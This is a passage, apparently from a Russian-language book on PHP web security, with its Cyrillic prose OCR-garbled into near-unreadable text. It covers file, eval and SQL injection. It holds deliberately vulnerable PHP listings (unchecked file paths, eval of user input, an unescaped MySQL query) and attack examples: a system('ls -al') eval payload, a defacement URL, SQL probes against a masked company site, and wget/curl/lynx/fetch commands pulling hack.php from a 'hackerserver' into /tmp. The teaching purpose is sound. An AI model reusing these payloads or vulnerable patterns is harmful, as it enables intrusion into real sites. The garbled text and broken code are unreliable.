BLINOJIHEHUA (aiisia, MOTOMY YTO K Hemy B Jil0OOM ciy4ae HET MPAMOTO AOCTYyMa
yepes URL. Ho 3aro npuobperaere apyryio: BosmoykHocTh SQL-HHBEeKLMHU. Xakep
MOXKET COXpaHUTb B (aitn Takoe coaepKUMOE, YTO AACT BO3IMOXHOCTb BHEIPHTD
cobcTBeHHbiit 3anpoc B SQL-3ampoc, Mcnonb3yembiii culieHapuem ans JOCTyHa
k 6a3e manHbIx. OcyliecTBAAATE NpOBEPKY UMeHH (alina U ero conepKUMoro, Kak
1 n1060oro Apyroro napaMeTpa, Noay4aeMoro OT I0b30BaTeNA.

4.3.4. O6pawjeHune x pannoBon cucreme

He tpynHo porapatecs, 4to mobeie obpaweHus k ¢ainoBod CHCTeme CoaepKar
yrpo3y 6e3zonacHoctu. onycrum, 4TO y Bac ectb cleHapuii, KOTOPLIA uyepes mna-
paMeTp nonyuaer uma ¢Gaina WK ero 4acTb, YMTAET coaepkumoe ¢aina U BbIBO-
AUT Ha 3KpaH. [TpuMep Takoro cueHap1a MOXKHO YBUHAETDH B IMCTHHre 4.3.

<HTML>
<HEAD>
<TITLE>Injection test</TITLE>
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< /HEAD>

<BODY>

<center><h3>Injection test</h3></center>
<hr>

<form name="syst" action="filel.php" method="get">
Command: <input name="command" size=50>

<input type="sulmit" value="Find">

</ form>

<hr>

<?
if (isset($_GET(['command']))
{
if (Sarr=file($_GET('command']))
{
for ($i=0; $i<count($arr); $i++)
{
printf ("<BR>%s", Sarr($il);

?>

</BODY>
</HTML>

[Tapamerp, uepes koTOpLIiA nepenaerca uMsa ¢aiina, HUKaK He IpoBepAeTcA Ha O~
IMyCTHMbIE CHMBOJIBY, @ 3HAYHT, XaKep CMOXKET NpocMoTpeTh Moboii daiin, Ha vTe-
HHE KOTOPOro y HEro XBaTT npas fnoctyna. [Ipocmarpusas koHUrypauHOHHBIS!
daliael, xakep MOXET HalWTH BaKHble AaHHble, @ BO3IMOXHO W NMaponu OOCTYMNa,
k Web-cepepy (em. en. 3). Owubka oueHb Moxoxa Ha mpobraemy include;
(cm. paszo. 3.1.2), pazHuua TOJABKO B TOM, YTO B JAHHOM Clly4ae Bbl MOXeTe
TONbKO MPOCMOTPETL (aiinbl, HO KO B HYUX He OyaeT BBINOMHATHLCA, KaK IpH
MOJKIOUYEHHUH.

HekoTopeie nporpaMMHCTbl NPEANOYMTAIOT UCMNONB30BaTh BMECTO include Mpo-
ctoe uteHue aiinos. Corsaced u nogaepxuBalo 3to pewenue. Ecnu gaiin He co-
aepxut PHP-koaa, a Tonasko HTML, To ero nyuyuwe npouuTaTh ¥ oTo6pa3uTh
Ha Web-ctpanuue. Takum obpa3om, gaxke ecnu Bbl 3abynere rie-ro 1poBepHTh
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napaMeTp, Xakep CMOXKET TObKO MIPOCMaTPUBATb Paiiibl, HO HE CMOXET BHEAPHTD
csoit PHP-koA B cLieHapHii, 4TO HAMHOTO OMacHee.

Ecnu nonyvyeHHoe uMsa 6e3 mpoBepok HCIONb3yeTca npd 3anmucd ¢aiina, 170 TyT
y)Ke coBcem HHoe. JlonmycTHM, 4T0 HAaM HEOOXOAWM cUEHapHH, YTO-TO THMNA rocTe-
BOH KHUTH WAH KHUTH OT3bIBOB. B 3aBUcHMMOCTH OT THMa Bompoca nojb3oBarens
MBI A0MKHBI 6yA€M MOMECTHTb BBEACHHBIH BOMPOC B TOT WIH MHOIH ¢aitn. HUma
datina U coxpaHseMbie faHHble OyaeM mepenasaTh METOAOM GET, XOTA H Apyro#
METOA Mepeaayy 3aliHICHHBIM Ha3BaTh HEMb3A. Y MPOLICHHBIH BAPUAHT pELUCHHUA
OAHHOH 3a1a4H MOXKHO YBUIETh B AUCTHHIE 4.4,

<HTML>

<HEAD>

<TITLE>Injection test</TITLE>

< /HEAD>

<BODY>

<center><h3>Injection test</h3></center>
<hr>

<form action="file.php?command=questions/user.txt" method="get">
<BR>Question: <input name="param" size=50>

<input type="submit" value="Find">

</ form>

<hr>

<?
if (isset ($_GET['command'])})
{
if ($f=fopen($_GET([’'command'], "w+"))
print("File: (S$£f)");
else
die("Error");

$s = fwrite($f, S$_GET|['param']);
fclose($£f);
}

?>

« /BODY>
« /HTML>
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Cmeicn cuewapua mnpoct. B csoicrse ¢opMbl action ykasbiBaerca URL:
file.php?command=questions/user.txt. [lTomumo cuenapus, 8 URL yka3an ewe
U Mapamerp command, B KOTOpPOM IMponucaHo MMA ¢aiina ANg 3amuMcH HaHHBIX.
HecMoTpsa Ha TO, 4TO mMapaMmeTp MpOMUCaH, U3IMEHUTL ero o4eHb mpocto. Yepes
napaMmeTp param [epedaeTcd TEKCT, KOTOpbi HYXHO 3amucath B ¢aiin. Ecnu
¢aiin rnasHoii Web-crpaHuub HMeeT UMA index.php W HocTyneH Ha 3amUChb, TO
MOXHO BbONHKTE cneaytowmuit URL: http:/servername/file.php?command=
index.php&param=<h1>Hacked</h1>.

[Mouck ys3BMMOCTH M 3alMTa TOYHO TaKas e, KaK W 3aIMTa MOAKIIOYaEMbIX
¢aiinios, 0 KOTOPOH Mbl FOBOPHIH B 21ase 3. Hy:kHO npocTo nepenaBath uepes Bce
mapaMeTpbl Mycop HAH MyTH K ¢aiinaM, koTopbie 3aB€AOMO MOTYT ObITb OTKPBITbI
Ha YTEHHE UAM 3anuch. TYT HHYEro HOBOTO A BaM CKa3aTh HE MOry, IIPOCTO HeoO-
XOOUMO, KaK MOXHO CHIIbHEE OrpPaHH4YHTb TMO/bL30BATENA M BLIIONHUTL CleLylO-
L€ YCTOBHA:

0 nonb3oBarenb HE OOMKEH UMETh BO3MOXHOCTH BAWATbL Ha UMA ¢aiina, mydiue
BCEro, €C/H OHO He OyaeT mepenaBaThcd OT KAMEHTA, a OydeT XKeCTKO Mporu-
CaHO B CLICHAPHH;

O ecnu uMa ¢aiina He MoxeT ObITh 3a4aHO B CLIEHAPHH, TO U3 MOJy4aemoro na-
pameTpa AOMKHBI ObITH yaaneHb! BCe onacHbie CHMBONLL. Ytobb1 6bin0 mpolue,
Aydille BCEro B KayecTBe UMEHHU MEpenaBsaTh TOJILKO YHCJIOBOH HOMep daiina,
Hanpumep, ¢ain Moxker UmeTb BUA testNV.txt, roe N — 310 yucao, koTopoe
U nepenaeTcs B Ka4eCTBE napaMerpa;

(J maHHbIE, KOTOpbie 3aMMChiBalOTCA B (ain, Taioke KOMKHBI GHILTPOBATHCA,
0ocobeHHO, ecny oHHU motoMm OyayT otobpaxarbca Ha Web-cTpanvue unu nepe-
JAaBaTbCA CHCTEMHBIM QYHKLIUAM;

O ue 3abbiBaeM, 4TO NOIBITKH 10OABUTL B HAYAJI0 WK KOHeL, NapaMeTpa JaHHbie
ans GopMHpOBaHUA MOJHOrO NMyTH HUYEro He AanyT. Xakep moxer 6e3 npo-
6nem o6olTH 3TO OrpaHUYEHHE.

Jro6bie nonbITKK MpOBEpUTh HaNU4Ke daiina B cUCTeMe nepel ero OTKPLITHEM —
6eccmbiciieHtbl. Ecnn xakep nepenaer UM /etc/passwd u atot ¢aiin 6yner cyue-
CTBOBATb B CHCTeME, TO IMpOBepKa Ha HanHuue ¢aina npoHaeT YCNeLHo,
Y CLIeHapuH OTKPOET ero 1 oTodpasuT.

Ha atom, s nymato, paccMoTpeHHe AaHHOH npobaemsbl MOXKHO 3aBepuwinTsb. [loBTO-
pATbCA HET cMbicia, a HoBoro AobasuTh Hewero. Koe-4Tto Mbl NMOBTOpHM, Koraa
OyaeM paccMaTpHBaTL NpUMEPHI YA3BUMOCTEH paboThl ¢ QaiinamMH Ha apyrux A3bi-
Kax NMporpaMMHpOBaHHA.
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4.3.5. Yrpo3a 6e3onacHoctu

[Toayuus QOCTYn K BBLITOSHEHHIO KOMAaHJ, XaKep MOXeT 3aXOTeTb CAENaTh CBOIO
KH3Hb YynobHee u npekpacHee. Paborath ¢ OC yepes ya3BUMOCTb He Bceraa ynob-
HO, NO3TOMY JAYydille HanmucaTh Kakoi-HUOyAb cueHapui W 3aKavaTh €ro Ha Bina-
MbiBaeMbili Web-cepBep. A kak 3akavaTh? Ecau nepen samu Web-cepsep ¢ ycra-
HoejieHHOH OC u3 cemeiictea UNIX, To MOXHO BOCIIOABL30OBATLCA OOHOM U3
cleayrouux KOMaHAa: lynx, wget, curl WIH fetch.

JlaBaiiTe paccMOTpUM 3arpy3ky ¢aiina Ha npumepe. HomycTHM, 4TO XaKep Harnu-
can cueHapuii W 3arpysuna ero Ha Web-cepsep. [lonusiii nyTh k ¢aiiny 6yner cne-
ayowum: http://hackerserver/hack.php. 3arpyxats ero 6ynem BO BpeMEHHYIO
OUPEKTOPHIO, Kya pa3pelleH AoCTyI, a TouHee B dakn /tmp/hack.php. Beinonaxu-
T€ OAHY U3 CAEAYIOLINX KOMAHN:

lynx -source "http://hackerserver/hack.php"> > /tmp/hack.php
wget -0 /tmp/hack.php http://hackerserver/hack.php

curl --output /tmp/hack.php http://hackerserver/hack.php
fetch -o /tmp/hack.php http://hackerserver/hack.php

Takum o6pa3oMm, xakepbl 3arpy<atOT He TOALKO CLEHapHH, HCMOJb3yeMble A
cobcTBeHHOro yno0cTBa, HO U onpeaesieHHbIe NPOrpaMMbl, KOTOPbie HEOOXOAUMBI
ans sinoMa. Hanpumep, eciiv Xakep XO4YeT NMOAHATL CBOM Mpasa OO0 aJMHHHCTpa-
TOpa, TO OH MOXET 3arpy3uTb 3KCIUTOWT, KOTOPLIi Oyaer HCnonL30BaTh HalOoeH-
HYI0 YA3BUMOCTb 15 nony4eHua Heobxoaumebix npas. KoHeuHo, ecnu y Bac ycra-
HOBNEHbl BCE OOHOBNEHWA, TO 3TOT TPIOK He yJacTca. Toroa Xakep MOXeET
3arpy3uTh CBOH NPOrpamMMmbl AN BbIMOJHEHHA HeoOXoauMBbIX aedcTBuid, Hampu-
Mep, AN pacChiNKW Chama, CKaHHPOBaHWA CeTeH, WKW ucnonb3oBaTh Bail Web-
cepBep ANf B3OMa JPYrHX.

Bo3MoxHOCTE 3arpy3ky ¢aitnos onacHa, U eRMHCTBEHHbIH CAOCO0 3alIMTHTLCA: HE
yCTaHaB/IMBaTh NPOrpamMmbl, KOTOPLIE MOTYT BBINIOJHATLCA W3 KOMaHAHOH CTPOKH
U ckauusaTb Qainel U3 MHTepuera. Ilporpammy ¢ BusyanbHbIM UHTepdelicom ue-
pe3 Opay3ep 3anyCTHTb HENb3d, MOITOMY % W Jl€Nal0 aKUEHT Ha YTWIHTH KOMaHI-
1OH CTPOKH.

4.4. PyHkuuna eval

DyHkuMs eval NONYYaeT B KayeCTBE napaMeTpa CTPOKOBbIH MapaMmeTp W BbINOIN-
HAET €ro Ko, Kak oTAeAbHbl cueHapud. Hanpumep, cnegyioulas komaHaa Bbl-
11OJIHAT (PYHKUMIO print and oTo6paxkeHHs Ha Web-cTpaHHLE YKa3aHHOTO TCKCTA:

cval {(print (" <Hl>cooBuexnune</H1l>"));

Jla, AaHHBIA KO HE MOXKET MOKa3laTb BCIO MOUlb QYHKUHH, 1TOITOMY 1HOCMOTPHM
1A corepaumoc auciuiira 4.5.
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<HTML>

<HEAD>

<TITLE>Eval test</TITLE>

</HEAD>

<BODY>

<center><h3>Eval test</h3></center>
<hr>

<form name="gyst" action="evaltest.php" method="get">
Command: <input name="command" size=50>

<input type="sulmit" value="Find">

</ form>

<hr>

<?
if (isset($_GET['command']))
{
$command = $_GET['command']);
print ("Executed command: <b>$command</b><P>");
eval ($command) ;
}
?>
</BODY>
</HTML>

31oT cueHapuii oTobpaxaetr Ha Web-cTpanuue gopmy ans Beoaa. [locne HaxaTug,
kHonku Find coaepxxumoe nona BBoaa nepenaerca. [lonpobyiiTe 3anycTuTs 3TOT'
cueHapHi ¥ nepeaath CleAyIOLLYIO CTPOKY:

print{system("ls -al"));

B pe3ynbTaTe QyHKUMSA eval BbIOJHHWT 3TOT KOA, KOTOPLIH 0TOOpaXkaeT pesylibe
TaT BbIMOJHEHHS QYHKUUH system, a ITOH QYHKUHH MBI IepeaeM KoMaHay 1s -al,
KOTOpas BbIBOJAMT COAEPIKUMOE TEKYLIEH AUPEKTOPHH.

Hukoraa He ucnonb3yiTe QyHKuUto eval, OHa ynobHa TobKO TOrAa, KOraa Hyx-
HO BBIMTONHHTb KO/, Haxoasuwmica B nepemeHHoil. Ecnu nepemeHHas nponMucaHa
B CU€HapHH, TO Npolle HanucaTh 3TOT koa Oe3 eval. Hy, a ecay gaHHbie nepena-
IOTCA OT MONbL30BATENA, TO 3TO OrpOMHas Ablpa B 6€30MacHOCTH, KOTOPYIO OY€EHb
CJIOXKHO, 2 HHOT/1a HEBO3MOXKHO 3aKPbITh.

Ecnu yecTHO, TO 2 HE BHAEA TaKOro ciyuas, Koraa Henb3s Obuio 661 oboiiTrch 6e3
(pyHKIMK eval. S pekomeHayHO 3a0bITh PO HEE ¥ HUKOTAA HE HCMOMLIOBATD.
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SQL-uHbekuuna (PHP + MySQL)

SQL-unbekuus (SQL Injection) — camas pacnpocTpaHeHHas ataka W NpH 3TOM
oueHb onacHad. OHa OCHOBAaHAa Ha TOM, YTO MOJy4aeMble OT I0/b30BaTENs Mmapa-
MeTphbl nepenatorcea B SQL-3anpoc Ge3 npoBepkH Ha omacHbie ciMBOALI. UTO Takoe
OflaCHbIe CHMBOJIbI? DTO CUMBOJIbI, KOTOPbIE MO3BONAKT KOPPEKTHPOBATH 3aMpocC
TaK, YTOObI B3TOMIIKMK CMOT MOAYYHUTb AOCTYI K BO3MOXKHOCTAM CBEpPX pa3peLueH-
HbIX. JTO BHeApeHHe (MHbekuUHa) cobeTeenHoro SQL-3anpoca B Teno 3anpoca,
BLITNIOJIHAEMOTO CLieHapHeM Ha ctopoHe Web-cepaepa.

JlaHHas aTtaka moOXXeT ObITb yOa4HO MPOM3BEACHA HA CUSHAPHM, HAMUCAHHBLIE Ha
azbikax PHP, ASP, Perl u 1. ., ¥ B 3TOM MBI YO€OUMCS Ha MHOIOUYUCIEHHbIX TIPH-
Mepax, MpUBeNeHHbIX B TOM riase. ATaka HaMHOro fonbiile 3aBUCHT OT TOro, Ka-
kaa ucnonbdyerca CYBJ] u xak peanuzoBaH cueHapuit. [{eno B TOM, 4TO Xakep
koppektupyetr SQL-3anpoc, kotopseif Bbinondserca CYBJI, kaxknas U3 KOTOpbIX
HMeeT CBOH HIOAHChl M NOAAEPKUBACT (YHKUUH, KOTOPbIE MOTYT HE MOALEPIKH-
BaTbCA APYTrUMH.

Ouinbku, KOTOpbIE MO3BOAAIOT NPOBOAHTL SQL-HHBEKUHIO, O4eHb PaclpOCTPaHEHb]
W o4eHb onacHbl. Ho ang ux yaayHoi peanu3alMH HY>KHbI XOPOLIME 3HAHHUA B 06-
nactu Hanucanua SQL-3anpocoB ana koHkpetHoi CYBJI. OcHoBHbie onepaTopsl,
TaKue KaK SELECT, UPDATE W DELETE, A/ BCeX OJYHaKOBbie C HEOONbLIMUMHU OTIH-
uHAMH. A BOT OmepaTopsl Co3AaHua 00bekToB 6a3bl JaHHLIX (CO3daHUe, H3MEHE-
IHe ¥ YaaneHHe Tabau) MOXKeT OTIHYATLCHA JOCTATOYHO CHITLHO.

1lo 6oablue BCero OTNHYKA NPOABAAIOTCA B XpaHUMBIX Tpouenypax (stored proce-
dure). MUx uMeHa ¥ HazHauyeHHEe OTIIHYAIOTCA OYEHb CHABLHO H 3aech 6e3 cnpasoy-
HUKA WK XOPOLUMX 3HAHUH JaHHOH 6a3bl JaHHBIX HE OOOUTHCH.

I3 7T0ii rnase mbl moroeopumM o6 atake "2SQL-UHbekuMA" ¥ NOCMOTPHUM, KaK XaKepbl
¢C MOTYT peasiu30BaTh, U KaK NMPOrpaMMHCTBI 3aLIHLIAIOTCA. A MHOrOYHCNIEHHbIE T1PH-
MCPBI TOTO, KaK HaXOAuThb OUIHOKH, NOMOTYT BaM OUEHHTH BCIO ONACHOCTb CHTYA-
I M JTYHUIC IONATb, KaK HaHTH ) QEKTUBIIOE pellielide B TOM HAH HHOM C1y4ac,
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51 Mouck

CeronHs ¢ yTpa y MeHs abconoTHO He 6b10 HacTpoeHHs paborarh, M 8 Havan
6eccmbicneHHo nmyrewecTBoBaTh MO0 MHTepHeTy M 3a6pen Ha Web-ctpanuuy oa-
HOM KOMMNaHWH, KOTOpaA NpeanojaraeT pelleHus AIA CO3AaHHA KOpPNopaTUBHBLIX
Web-caiiros. (puc. 5.1). Ha n3o6parkeHnH HeKOTOpbIe 4acTH 3aKpallueHbl, 1a0bl He
noptuth penyrauuro komnaiui. Ee URL g Takxke He O6yay aduiunposarh, a BMe-
¢T0 3TOro 6ynem cuntarhb, 4To 370 WWW. XXXXXXXXXXXX.com.

Wrtak, xoMnaHMs npejnaraer pelleHHs MAIA CO3[aHHA KOpNopaTHBHbIX Web-
caiitos. MHe cTajio HHTEpecHO, a kak paboraer ux cobcreenHbit Web-caiT H Ha-
CKOJILKO OH 3awuiieH. ['oBopat, uto Web-caliT — 3T0 THLI0 KOMNAAHHH, K €CITH OH
BBIMJIAAMT Y)KacHO, TO H KOMNaHHA TaKas )ke. A Takoro MHEHHS He NpHAEpIKHBa-
I0Ch, TIOTOMY YTO O4eHb YacTO 3a HeKasHCThIMM Web-caiiTamy MpAYyTCA OYeHH
XOpOllYe peLlIeHHA K NporpaMMbl. i
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Lear loosing tor, (Freacduis San

Puc. 5.1. Web-canT komnaHuu, KOTopelii 5 Gyay npoBepATL
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[TepBoe, yTo A nenato, korna nposepawd Web-caiit Ha 6e3omacHocTh — nepenao
MYCOp BO BCEX MapameTpax, KOTOpPbI€ [10T1aJal0T MHE Ha riasa, a JaibHEHILIHE MOH
JAeHCTBHA YiKe 3aBUCAT OT OTBETHOH peakuuH. Cpeau sToro Mycopa s 06sa3atebHO
yKa3biBal0 ONMHAPHYIO KaBbiukKy. 3aueM? HuTalite nanbiiie ¥ Bce moiMere.

[Non napameTpaMu g MOHUMAIO:

O Bce gaHHble, BBOAWMBIE B Moag BBoAaa. Ecnn Ha Web-calite ecTb none BBoaa,
HaTIpUMep, MTOKCK, TO €ro AaHHbie ckopel Bcero 6ynyT nepenasaTbcs B KayecT-
Be 3anpoca 6a3e gaHHbIX. B 3TO nose BBOga HeoO6X0AUMO MONbITaTHCH NeEpe-
JaTb KaKWe-TO HaHHbie U 00A3aTenbHO yKa3aTh OAMHAPHYIO KaBbidKy. MMeHHO
OHa ABNAETCH MarM4ecKUM CHMBOAOM B aTtake "SQL-uubekuusa”;

O Bce napamerpbl, nepenaBaembie uyepes cTpoky URL. [Napamerpbl HaxopdaTtcs
B CTPOKe ajpeca focie cumBona "?" (BOMPOCHTENLHONO 3HAKA) U UMEIOT BHI
wma=3Hauenue. [lapameTpsl pazaensgiorca mexxay coboi cumsosom "&".

Honyctum, URL BwirasauT caeayrowum obpazom: http://www.sitename.com/
index.php?id=2&page=1. 3aecs Bcero aBa napameTpa id ¥ page. [lepsomy npu-
cBauBaercsa 3HaueHue 2, a BTopoMy l. Uepe3 Takue napameTpb! Cli€HapHd MOTYT
nepeaaBaTh OnpeaeneHHeble JaHHbie Mexay Web-cTpaHuuaMu uay oT nosiib3oBare-
JI1 K CUEHAPHIO. '

Cpasy BuaHO, 4TO 00a napameTpa id ¥ page YHCJIOBbIC. A 4YTO €CNY IONLITATHCA
nepenats OykBbl wiu apyrue cumBonbl? Kak Ha 3To oTpearupyer cueHapuii?

[TaTh MHHYT MYydeHHUH, a IONOXKHTENLHON peakuuu HUKkakoi. Her, cueHapuii or-
BEYaeT MHE, HO BNOJIHE KOppeKTHO oOpabaTbhiBaeT BCe 3Ha4€HHUA, KOTOPLIE 4 EMY
nocelnato.

Toraa s pewrn yxxe ckayaTb 1€MO-BEPCHIO HX NMPOrpaMMbl H, pa3BEPHYB Ha CBOEM
Web-cepsepe, nocmoTpeTh ee nokansHo. [Ipu npocMorpe uHdopmaunu MeHsa 3a-
WHTEpeCcOBaNa cChinka ans rneyatd. Haseas Ha ccbinky, 8 yBHAEN B CTPOKE COCTOSA-
Hus javascript:;. MatepecHo, pa3s 3anpartany, 3Ha4uT, YTO-TO TaM €CTb? A MOXET,
CCIW 3anpATaliM, TO paccaabunuce ¥ He NpoBepuny Tam napametpbi? Hlenkuys no
CCbINKe, 1 YBWIEA NMPOCTO OKHO Ana nedatd Gopmbl. 3JHAUYMT, MepBOE OTnajaeT.
| locMoTpHM BTOpOE.

10061 npoBepuTL NapaMeTpbl, 411 Hadala HaM HeoOXxOoAuMO Y3HaThb PEalbHYIO
CChIIKY Ha CueHapuit, koTopbiit Buinondserca. na storo sui6upaem Bua | Ipo-
cvmorp HTML-kopa, 4tobbl B kOAe HalTH CCbUIKY, pa3 Y OHa crnpdTaHa Mol
Javascript:;. Onauku, a wcxoaHblii xoa He nossuaca! HMurepecno. Ecnu aro
omubka Internet Explorer, To 3T0 0HO, a €CNy NOMNbITKa pa3paboTUHKa 3aUTHTECA
01 1IPOCMOTpPa HCXOAHOTO Koja, To 3T0 abconoTHo rnyno. YtobL1 Bce ke yBHLOTL
koI, % coxpanun Web-cTpaHuuy Ha nokansHom aucke (daiia | Coxpanuts Kax),
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Web-ctpanuua 6e3 npobneM coxpaHunach, Ternepb MOXKHO IPUCTYNATh K U3yye-
HUKO HCXOOHOTrO KOoaa. KO}I KHOMNKH neYyaTH BbIrMAAUT CACAYOUIHUM 06pa30M:
<A onclick=
"MM_openBrWindow ('http: //www. XXXXXXXXXXXX.com/print.php?id=1",
'print', ‘'scrollbars=yes, width=600, height=400')"
href="javascript:;">
<IMG height=25 alt=Print src="111_files/_iconprint.gif"
width=25 border=0>
</A>

Hrak, ccblika Ha CleHapHid, KOTOpbIi OTBEYaeT 3a OTOOpaKEHUA OKHA Me4aTH, Bbiris-
auT cnegyiowym obpazom: http:/www XXXXXXXXXXXX.com/print.php?id=1,
Cuenapuio print.php nepemaerca oauWH napamerp id, KOTOpOMY npucaauBaeTca?
3HauyeHHe |. Uma knaccuyeckoe, 3HAYUT MOXKHO TIPEATNOAOKHTD, YTO H CMBICA erd
KJIaCCUUECKHUH: MO 3TOMY WIEHTHQHUKATOPY CUuEHapHi OMNpedesUT, umbopmaumg
0 KakoM MpoaykTe Heo6XoauMO ITOrOTOBUTD K ME4aTH.

[Tonpobyem B kayecTBe napamerpa nepeaath He I, a uudpy u amoctpod. TyT pud;i
Hapui coobwaer Ham 06 ownbke B SQL-3anpoce. [Tonpo6yem B cTpoke URL yka

3aThb cnepytowuii agpec: http:/www XXXXXXXXXXXX.com/print.php?id=

and 1=0.

CueHnapuii orobpasun Tonbko Web-cTpaHdiry, Ha KOTOpoH coaepxaiuch ma
cTpok uH(pOpMaLUHU O KOMNaHWH U npasoobnanarensx. Bugumo 3tu cTpoku
OpaxcaroTcs ans A060ro NpoAyKTa M NPOLIMTHI B CaMOM ClieHapuH, a He B ©
OaHHBIX.

Tenepb nonpobyem ykazaTb cneaylowuii aapec:
http:/www XXX XXXXXXXXX.com/print.php?id=1 and 1=1.
Ha atot pa3 Web-cTpanuua otobpasurca koppekTHo (pxc. 5.2).

SIsnas npobnemMa ¢ nmpoBepkoii NapaMeTpoB, H BECh TEKCT, KOTOPbIii MbI TTOMELLAE
B napameTp id, momagaet B SQL-3anpoc, KOTOPbIH BLIITOJHAET cUeHapuii. Pa3p
6oTunk ABHO pacciabuica v NOHaAeANCd Ha TO, YTO Xakep He YBHAMUT CCBUTKH,
He NpOBEPWI NOJiy4aeMbld OT NMoAb3oBaTeas fnapameTp, a 3pa. Ecav g Haluen,
Ipyrue ToXe CMOryT HauTH.

Bot 3a yTo 1 mobnio GonbliMe NporpaMMel, Tak 3TO 3a TO, YTO 00A3aTENbHO HA
JETCA napameTp, KoTopuiii He Oyaer nmposepaTbea. Tak CAy4MAOCh U B JaHHO
cnydae. Ha 3TOM s 3aKkOH4YWJI cBoe HccienoBaHue, coobluB anMHHUCTpaTOpa
Web-caiiTa o HalaeHHoH ownbke. Ha creayrowuii aeHbL ee UcrpaBuiv U yBEpHI
4yTo noAobHOH owmnbkH HET B KOMMEPHYECKOM TNpPOAYKTe, KOTOPbii npeanara
koMmnaHua. CKa4aB 3TOT APOAYKT, 1 YAOCTOBEPHACA, YTO 3TO FIpaB/in.
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Puc. 5.2. B ctpoke URL aobasneHo "and 1=1"

Jna unmocTpaundyd BO3MOMHOCTH peanu3allH aTakd Ha 3ToT Web-caliT 1 Ha cBo-
cM nokansHoM Web-cepeepe co3nam knaccHyeckuii PHP-cuexapuii 1 nokaxy, Kak
MO>KHO MCIOJIb30BaTh OLIMOKY, KOTOPYIO ZOMYCTHNH pa3paboTUMKH.

5.2. Owmnbka

Hrak, nasaiite paccmorpum araky "SQL-unbekuus" Ha npumepe. Kak 1 yxe cka-
Wi, 1 Hanuwy HeGonbLoH cueHapuii (nucTuHr 5.1), KoTophiii Oyaer conepxaTb
OtIHbKy, U Mbl TOCMOTPHM, KaK 3JIOYMBILWIEHHHK CMOXKET €10 BOCMO/b30BaTbCA.

Heobx0anmMo 3aMeTUTh, 4TO B HEKOTOPbIX MECTax R HapouHo 6yay nenatb HE3Ha-
YHTCIblbIe OWHWOKH. DTH OoWKOKH MOryT ObITh HE3aMeTHbl Ha NepBbiit B3rNAA M
NeoOXOAMMBL Ans TOro, Ytobbl HEONMbITHLIE MONbL30BATENH HE CMOIIH BOCRO/b30-
mrLes HHpopmaumeii, ONUCbIBaEMOit B KHUre 1N coBeplieHus Binoma, OnbiTHLIA
HOABLIOBATCL TAKKC MOXET HE 3aMETHTb OWHOKY (HanpuMep, OTCYTCTBHO TA0-TO
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OAMHAPHOH KaBbIYKHM), MOTOMY YTO MPH BOCMPOM3BENEHHH ONMCAHHOTO MPOCTO
MEXaHHYECKH M 611aroiapsa CBOeMy OMBITY MPOCTO HAMMILET BCE MPABUIILHO.

<HTML>

<HEAD>

<TITLE>Injection test</TITLE>

< /HEAD>

<BODY>

<center><h3>Injection test</h3></center>
<hr>

<form name="dbquery" action="inj_test.php" method="get">
User name: <input name="username" size=25>
<input type="submit" value="Find">

</ form>

<hr>

<?
// Connect to MySQL
mysql_connect ("localhost", "root", "test")
or die ("Can't connect to MySQL Server"):;

// Select database
mysql_select_db("test")
or die ("Can't select database");

// Execute Query
$username=$_GET| 'username'];
print ("Search: $username");

Sresult=mysql_query("SELECT * FROM smf_polls WHERE
posterName="'Susername'") ;

if (!Sresult)

{

print ("<BR>Error ".mysgl_ermmo()." ".mysql_error());
}

if (mysql_num_rows ($result)>0)
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{
print ("<table width=100% border=1>");
print ("<tr bgcolor=\"*#AA1BlB\">");

// Get result columns

for ($i=0; $i<mysql_num fields($result); $i++)

{

$field_name = mysql_field_name($result, $1i);

print ("<td><font color=\"#FFFFFF\"><B>$field name</b></font></td>");
}

printc("</tr><tr>");

// Get result lines

while ($line=mysql_fetch_array($result, MYSQL_ASSOC))
{
print("<tr>");
foreach($line as $key => $value)
print("<td>$value</td>");
print("</tr>");

}

print("<table>");

)

>

< /BODY>
</HTML>

Cwmbicn cueHapus B TOM, 4ToObl 0OTOOPa3UTh 110JI€ AN BBOJA UMEHH M10/1b30BATENA.
BeeaeHHoe uMa Mcrionb3yeTcs And noucka B Tabnuue 6a3bl naHubx test. na no-
HCKa HCIIOAB3YETCH CACAYIOLHHA 3anpoc:

BELECT *

FROM smf_polls

WHERE posterName='Susername'

I locMoTpUTE Ha pHc. 5.3, rae otobpaxkeHbl pe3yabTaT paboThl CLUEHAPHUS H pe3y/be

TUpyowan Tabavua. B ee wanke npuseacHsl UMeHa MoJeii, Kak OHH €cTb B MOeH
recTOBOH Tabnuue.

I'ciiu 4ecTHO, TO CO31aBaTh OTAENLHYIO 623y HaHHBIX M TabnuLy MHE Gbino nelb,
HOYTOMY # HCTIONB3YIO Tabnuly smf_polls U3 Gopyma SMF, kotopbi # HeaasHo
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TECTHpOBAN Ha 3ToM xe Web-cepeepe. UTak, ecnu ykasaTh HMA nonb3oBartenf,
TO CLEHAPHiA MOJTYYHT COOTBETCTBYIOLIYIO CTPOKY W3 6a3bl JaHHBIX M OTOOpasuT
ee Ha Web-ctpannue. Ecin uMs yka3aHo HeBepHO, TO pe3ynbrar GYAeT MycThbiM,
T. €. pe3ynbTHpYIowas Tabnuua 6yaer mycroit.

Puc. 5.3. PeaynbTart paboTtbl CUEHAPUA B HOPMANbHOM peXxume

I'nasnas npobaema 3TOro cueHapus B TOM, YTO OH He MPOBEPAET NapaMeTp, K
pblfi BBOAHMT MOJIL30BATENb, @ M0Jb30BATE/Nb MOXET NepesaTh YTO YIOAHO, a €
NONB30BATENEM SABJAETCA Xakep, TO OH 6e3 npobneM cmoxer BinoMars Web
cepaep.

A Tenepb CaMOe MHTEPECHOE: a YTO €CIH B KAUeCTBE MMEHH T10/1b30BaTENA MEp
JaTb OAHMHapHY10 KaBbiukKy? B pesynvrare SQL-zanpoc Oynetr Buirnagersb u‘a
ayrouum obpasom:

SELECT *
FROM smf_polls
WHERE posterName='"'"'

NMa posterName CpaBHHBACTCA C TpeMs OAMHAPHBLIMH KaBBIYKAMH, YTO
npasuibHO. 3anpoc OKa3blBaeTCHd HE3aBepLUIEHHBbIM, H B pe3y/bTaTe Mbl YBHIH
owrnbky (puc. 5.4).

Ecnu mMbl gobunuch owmnbku B SQL-3anpoce, TO CyLIECTBYET BEPOATHOCTh TO
YTO TEKYLUHE HACTPOHKM MO3BOJIAT HaM MOJNYYWTb AOCTYN K 4YeMy-HUOyab W
pecHoMy. [laBaiiTe nOCMOTpUM, Yero UMEHHO MOXHO Aobutbea. Ho ana Havan
Heo6X0AUMO y3HaTb, CKOMIBKO Noneil BosspawaeT SQL-3anpoc. Ja, B 1aHHOM

